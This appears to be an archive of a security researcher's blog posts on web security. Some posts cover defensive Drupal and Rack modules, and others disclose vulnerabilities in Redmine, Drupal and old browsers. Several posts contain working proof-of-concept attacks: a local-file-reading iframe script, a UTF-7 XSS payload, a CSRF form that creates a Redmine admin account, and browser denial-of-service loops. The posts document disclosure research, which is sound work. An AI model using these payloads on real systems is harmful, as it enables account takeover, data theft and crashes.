Content Security Policy for Rack

A long time ago I have implemented Content Security Policy as Rack middleware for my Ruby on Rails project. In short, CSP is a XSS mitigation mechanism. Server responds with HTTP header which defines trustworthy sources for different types of content (js, css, images) and browser restricts content from other sources. It's very powerful and you definitely should implement it along with other header-based security features (like X-Frame-Options, Origin, Strict-Transport-Security) especially as long as it won't take much time.

A couple of days ago I decided that it worths to publish middleware as a separate gem. I googled a bit and found csp_easy. However, it lacked few features (hash-based directives configuration, support to WebKit, Report-Only mode) and specs, so I decided not to fork and push my changes (I know it looks bad), but just to publish my own version.

Project is on Github. Read instructions and improve security of your Rack-based web application!

User-Agent in padBuster.pl

Quick note for those, who perform penetration testing of ASP.NET applications and try to exploit Padding Oracle Attack with padBuster.pl, but always receive 403 Forbidden response from either WebResource.axd or ScriptResource.axd. This is most probably because of incorrect User-Agent or, actually, it's absence. To fix, you need to add user-agent to LWM. Just change the following code of makeRequest() function from

$lwp = LWP::UserAgent->new(env_proxy => 1,
                            keep_alive => 1,
                            timeout => 30,
       requests_redirectable => [],
                            );
 

to

$lwp = LWP::UserAgent->new(env_proxy => 1,
                            keep_alive => 1,
                            timeout => 30,
       requests_redirectable => [],
                            agent => 'Mozilla/5.0 (X11; Linux x86_64; rv:2.0) Gecko/20110406 Firefox/4.0',
                            );

or whatever UA you need.
I actually think this should be added to padBuster.pl as an option.

Security Kit on GitHub

I was planning to do this a long time ago, but this, that and the other delayed me. Finally, I've registered at GitHub and added repository for Security Kit. In short, that's the module for Drupal CMS which provides with few options to improve the security of your Drupal-based site. It aims to simplify the process of setting up security features which exist in modern browsers (CSP, Origin, X-Frame-Options etc.).
Present situation in web security indicates that regardless huge number of hacks and all these talks about "every site needs to be secured", the number of vulnerabilities does not decrease. Just take a look at XSSed. So, browser companies decided to add more built-in features to harden the web. They are mostly implemented with HTTP response headers and all the website owner/admin has to do is to add one.
Still, many people have no idea about such things or they don't know how to do this. That's the reason of creating Security Kit and, previously, SafeClick (which is so highly tailored, just for Clickjacking, so I decided to move it to Security Kit and close it).
Even though Drupal recently migrated to Git from CVS (thanks!), I plan to develop SecKit on GitHub along with other projects, which I hope I will soon finish (at least to make them public).

P.S. I do really hope and expect collaboration.

Private browsing in Opera is not so private actually

I've always been using Opera's private browsing when didn't want any history and other stuff to be saved locally. Always until I decided to take a look at how private it really is.
After some private browsing I navigated to ~/.opera/temporary_downloads and noticed that Opera stores some necessary files there. There were:

• crossdomain.xml (which may reveal domain you browsed in many cases)
• various swf files (which may reveal sensitive information when decompiled)
• strange video_related.htm file, which contained a lot of info
  

That's fine, but the actual problem is that Opera doesn't delete the files when closed. It only do this when opened in next time. It works so regardless private or usual navigation. And I doubt anyone opens Opera again just to clear files after private browsing.
So, Opera's private browsing is not so private actually.

Getting Fun from Responsible Disclosures

I've recently released two proof-of-concepts for jCart application and Simpli Easy Newsletter (formerly AFC Simple Newsletter) script. Both of these disclosures were pretty exciting actually.
As a responsible security researcher, I first contacted both vendors.
Guy from Simpli Easy Newsletter quickly replied. He said: Thanks, I'll let my friend know so he can fix.
Funny, isn't it? Three weeks have passed, but his friend did nothing and further emails from me were ignored. So, my disclosure was responsible in effect.
Absolutely different situation happened to jCart. I sent an email to its vendor, but didn't receive any reply and in a couple of days released vulnerabilities. Some time later I received annoyed email from Doug Whitney (jCart guy), where he explained that I was wrong not contacting him first. Of course, I forwarded him my previous email and, what's funny, everything was correct, but it got into Spam box. So, was it responsible disclosure or not? Anyhow, it was pretty funny.

PunBB v1.3 Extension Scanner

While pentesting one project, I've faced PunBB v1.3 forum running there. As long as it would take a bit of time to check for installed extensions (even though there are not so much for it), I've written a pretty simple Python script to enumerate them. Maybe I It gets the list of available extensions from PunBB site and searches for them at provided website. Its code is really dirty, but I needed quick solution. Maybe it will be useful for someone. Or maybe I just failed googling for a one. Anyway, here it is. Usage (note no trailing slash):

$  python3 scanner.py http://www.example.com/forum

#!/usr/bin/python3

import urllib.request, re, sys

host = sys.argv[1]

try:
  l = urllib.request.urlopen('http://punbb.informer.com/svn/additions/punbb-1.3/extensions/')
except urllib.error.HTTPError:
  print('Cannot enumerate available extensions from http://punbb.informer.com/')
  exit()

e = l.read().decode()
e = re.sub('<.*?>', '', e)
e = re.findall('(pun_.*/)', e)

for i in e:
  try:
    urllib.request.urlopen(host + '/extensions/' + i)
    print('YES - ' + i)
  except urllib.error.HTTPError:
    print('NO  - ' + i) 

Opera and access to file:// iframes

It's just a quick thought about getting content of iframes with file:// sources. While Firefox and Chrome don't alllow access to contentWindow and contentDocument properties of iframes with file:// sources, Opera and Internet Explorer don't have such security policies.

It's possible to get access to it in case when original file with iframe is saved locally. This way, Opera and Internet Explorer render file iframe and, as long as protocols match, which is required for contentWindow and contentDocument properties, allow reading it (actually, Firefox lets this too, but it also compares path to file - if they differ, it throws security exception).

So, we force user to save webpage locally (as HTML file) and to open it. In case of IE, however, it won't execute Javascript by default. Still, Opera lets us do it.

Here is a proof-of-concept just for fun:

<body />
<script>
  iframe = document.createElement('iframe');
  iframe.src = 'file://localhost/etc/passwd';
  document.body.appendChild(iframe);
  info = iframe.contentWindow.document.body.innerHTML;
  alert(info);
</script>

P.S. Wow, I don't really know what does it mean, but Safari runs Windows Explorer with the path of such iframes.

Exploiting IE MIME-sniffer vulnerability in Drupal

IE always loved to create vulnerabilities where they would never be. Not many people know, but there is an old bug in IE MIME-sniffer, which can be easily exploited. The essence of the bug is that when IE renders file, which was sent along with Content-type: text/plain header, it tries to identify its MIME type. So, if file contains HTML code inside, IE will think its text/html and render it. Simple example of exploit in Drupal:

1. There is a Drupal site with enabled Upload module.

2. Attacker uploads *.txt file with HTML code inside. By default Drupal allows *.txt files.

3. Attacker sends a link to that file to victim.

4. Victim opens it in IE and HTML code is rendered.

It's pretty bad that Drupal core, which is tough by default, can be exploited in such a simple manner. I understand that it's not Drupal issue, but Microsoft isn't going to fix it. Instead, they suggest to send X-Content-Type-Options: nosniff HTTP response header. But, it's not possible to do this in Drupal and Drupal Security Team didn't fix it for 2 years and won't do this in future. So, if you are aware of your users' safety, remove .txt from allowed tags. You can do this in Administer -> Site configuration -> File uploads.

SafeClick - protect your Drupal site from Clickjacking

SafeClick is released. It is a module for Drupal CMS, which you gotta have to defense your website from Clickjacking. It implements several techniques of such defenses.

Opportunity of setting X-Frame-Options HTTP header. You may set it up to SameOrigin to allow framing of website within its domain or to DENY to prevent framing at all. Or you may disable it. This header is currently supported by Mozilla Firefox + NoScript extension, Apple Safari, Google Chrome and Microsoft Internet Explorer 8, so it's the safest way for your website.  

JavaScript + CSS + <noscript> framebusting. It's the hardest defense for your website, however it can break down some of your modules which use iframes. The disadvantage of usual framebusters is that they can be disabled particularly using IE8 or Safari XSS filter  This framebuster, pointed to me by sirdarckcat, excludes such kind of attack. If user disables framebuster script selectively - he sees blank screen. If user has generally disabled JavaScript - he sees message like "Enable JavaScript". However, I've decided to make <noscript> tag as a separate option, because such option may be useful without framebuster itself. 

Opportunity of decreasing the risk of Clickjacking on your site via overridden styles of <iframe>, <frame>, <object> and <embed> tags. This option should only be enabled if you allow your users to post content with stated tags. Special CSS overrides opacity level and z-index for them, preventing transparent frames and hidden via z-index frames. Also, z-index is useful for prevention of "last loaded - first focused" behavior (when last loaded frame is being focused regardless its z-index). The reverse is that in theory it may break website layout.

Module is released and I hope it will be useful for Drupal users. Thanks to all slackers for helping me with Clickjacking prevention techniques.

You may download module there.

SafeClick Testing & Review

After long discussion about methods of Clickjacking prevention, I've released for testing and reviewing SafeClick. It is a module for Drupal CMS which implements several of such techniques.

The first is an implementation of  X-Frame-Options HTTP header.

The second is JavaScript + CSS + <NoScript> hack, pointed to me by sirdarckcat - thanks to him!

The third is special CSS, which can be useful if a website allows users to post frames within their content. It overrides opacity and z-index of HTML elements, used for Clickjacking attacks.

Module is currently being reviewed by Drupal community. Everyone is welcomed for testing and hacking!

Redmine UTF-7 XSS Vulnerability

I keep on looking through Redmine. And one of the most basic persistent XSS - problem of placing <title> prior to <meta> - still often ignored by developers. The same thing occurred in Drupal some time ago. Same thing is currently in Redmine.

The idea of this XSS vector is that tag <title> is placed before tag <meta>, which specifies character encoding of page. Good browsers look for <meta> upon page opening, ignoring its position, but Internet Explorer 6/7 (not quite sure about latest one), in case described above, uses <title> to define encoding. So if you create page (within Redmine, it will be "Issue") with title

+ADw-script+AD4-alert('XSS');+ADw-/script+AD4-

and open it in IE with Auto-Select Encoding on, browser will think that encoding of the page is UTF-7 and will interpret +ADw- as < and +AD4- as >. Thus arbitrary JavaScript will be executed, evading built-in filters .

P.S. Vendor was contacted and Eric Davis informed me, that this vulnerability will be fixed in new version along with CSRF, which wasn't fixed in 0.8.7.
P.P.S. Proof-of-Concept is here 

Redmine CSRF Add Admin User PoC

Redmine, a flexible project management web application, which is used by many companies, including company, where I work, till this day was vulnerable to CSRF from task updating to administration. So, the easiest and the most critical PoC I could code was the one that creates user with administrative rights.

I've contacted Redmine's SecTeam and they rapidly released new version and separate patch (they are cool team, actually). Those, who use it, need to update asap, because this vulnerability is a critical one.

<form method=POST action="http://www.site.org/users/new">
  <input type="text" value="hacker" size="25" name="user[login]" id="user_login"/>
  <input type="text" value="hacker" size="30" name="user[firstname]" id="user_firstname"/>
  <input type="text" value="hacker" size="30" name="user[lastname]" id="user_lastname"/>
  <input type="text" value="hacker@hacker.com" size="30" name="user[mail]" id="user_mail"/>
  <input type="password" size="25" name="password" id="password" value="hacker" />
  <input type="password" size="25" name="password_confirmation" id="password_confirmation" value="hacker" />
  <input type="checkbox" value="1" name="user[admin]" id="user_admin"/>
  <input type="hidden" value="1" name="user[admin]"/>
  <input type="submit" value="Create" id="commit" name="commit" />
</form>
<script>document.getElementById("commit").click();</script>

Exploit is here 

EDIT: It seems that Redmine was not fixed in new version :) Maybe there were some problems with my local version, but token was generated one time and for all users. I've reached them, so gotta be fixed finally.

User Panic - external applications handler of Safari

Some time ago RSnake published the thing, which gets user into a real panic - iframes with mailto: URI. I just developed it furtherly. Now "exploit" creates iframes with telnet: and news: sources, and if browser doesn't properly handles protocols, which requires external applications to be launched (actually, I'm talking about Apple Safari), this gets user into a real panic :)

<body />
<script>
  function makeFrameTelnet() {
  ifrm = document.createElement("IFRAME");
  ifrm.src = 'telnet://nonexistent.com:80';
  document.body.appendChild(ifrm);
  }
</script>
<script>
  function makeFrameNews() {
  ifrm = document.createElement("IFRAME");
  ifrm.src = 'news://nonexistent.com';
  document.body.appendChild(ifrm);
  }
</script>
<script>
  for (i=0; i < 9999; i++) {
  makeFrameTelnet()
  makeFrameNews()
  }
</script>

P.S. Safari and IE doesn't properly handle skype: protocol. When we create an iframe with, for example, skype:blahblahblah?call source and open it, Skype gets run and the call to blahblahblah user begins. It seems that it's possible to perform some kind of spamming using it. Need to play around with it.

IE 7.x/8.x, Opera 10.x, Safari 4.x DoS PoC

While playing around with cross-domain requests, I've noticed that page, containing cycled XmlHttpRequest leads to violation of normal behavior of different browsers.
MS Internet Explorer 7.x/8.x (haven't got 6.x, but sure it's affected) begins to devour system resources (CPU and memory), shows error message "Stack Overflow at line: 43" and stops processing the page in few seconds.
Opera 10.x crashes in few seconds and its crash probably may lead to execution of shellcode (debugged it with WinDbg and !exploitable).
Apple Safari 4.x simply hangs, devouring system resources.
However, Mozilla Firefox 3.5 and Google Chrome can handle this exploit.
Vendors have been contacted, but no reaction.
I've posted this very dirty PoC at sla.ckers and finally it's here.
So, to test this PoC, create a page containing exploit, place it to your local webserver (any LAMP) or website and open it.
PoC contains cross-domain XmlHttp function and cycled asynchronous XmlHttpRequest.

<script>
  function getXmlHttp(){
    var xmlhttp;
    try {
      xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
    } catch (e) {
    try {
      xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    } catch (E) {
      xmlhttp = false;
    }
  }

  if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
    xmlhttp = new XMLHttpRequest();
  }
  return xmlhttp;
  }
</script>
<script>
  function getXmlHttpSploit(){
    var xmlhttp = getXmlHttp()
    xmlhttp.open('GET', 'nonexistentpage', false);
    xmlhttp.send(null);
    if(xmlhttp.status == 404) {
      getXmlHttpSploit();
    }
  }
</script>
<script>
  var xmlhttp = getXmlHttp()
  xmlhttp.open('GET', 'nonexistentpage', true);
  xmlhttp.onreadystatechange = function() {
    if (xmlhttp.readyState == 4) {
      if(xmlhttp.status == 404) {
        getXmlHttpSploit();
      }
    }
  };
  xmlhttp.send(null);
</script>